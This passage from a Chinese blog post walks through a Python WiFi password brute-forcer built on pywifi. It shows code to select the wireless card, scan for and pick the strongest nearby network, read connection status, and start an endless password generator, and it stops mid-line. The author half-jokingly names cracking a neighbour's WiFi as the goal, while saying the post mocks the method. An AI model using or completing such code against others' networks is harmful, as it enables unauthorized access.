扯淡的!!!基于python的wifi密码暴力破解程序
程序目的
暴力破解邻居家的WiFi。。。
或,白嫖蹭WiFi。。。
又或,可以随时随地打开笔记本电脑来装个。。。咳咳
(以上是编代码前的最初目的)
(以下是发布这片文章的真实目的)
吐槽这破解方式是多么的扯淡。。。。。。
模块
核心模块:
pywifi(模块的详细内容请出门左拐 <-_<-)
作用:获取本机网卡,搜寻,链接或断开WiFi
路人模块:
itertools
作用:循环生成临时密码
time
作用:WiFi链接或断开需要一定时间
程序
核心内容及大致步骤
1、获取本机的无限网卡:
# 创建WiFi对象:
wifi = pywifi.PyWiFi()
# 获得本机无线网卡:
ifaces = wifi.interfaces()[0] # 此处获得的是一个列表
2、搜索附近WiFi(一般直接用第一个作为信号最强的那个):
# 获取附近WiFi:
wifi_scanned = ifaces.scan_results() # 此处同样是个列表
# 获取第一个WiFi的名称:
wifiname = wifi_scanned[0].ssid
3、确认网卡连接状态:
# 获取当前网卡的连接状态
status = ifaces.status()
其中:
status = 0 : 未连接
status = 1 : 扫描中
status = 2 : 延迟
status = 3 : 正在连接中…
status = 4 : 已连接
4、创建临时密码(从初始pren=6位密码开始,循环完后自动增加位数,无限产生密码):
# 这里我们不直接把密码本输出(浪费空间),直接造一个小生成器(generator)
def temppwd(pren): # pren是搜寻密码的初始位数
num = pren
# 设置询查密码可含有的符号
words = 'ABCDEFGHIJKLMNOPQRSTUVWXY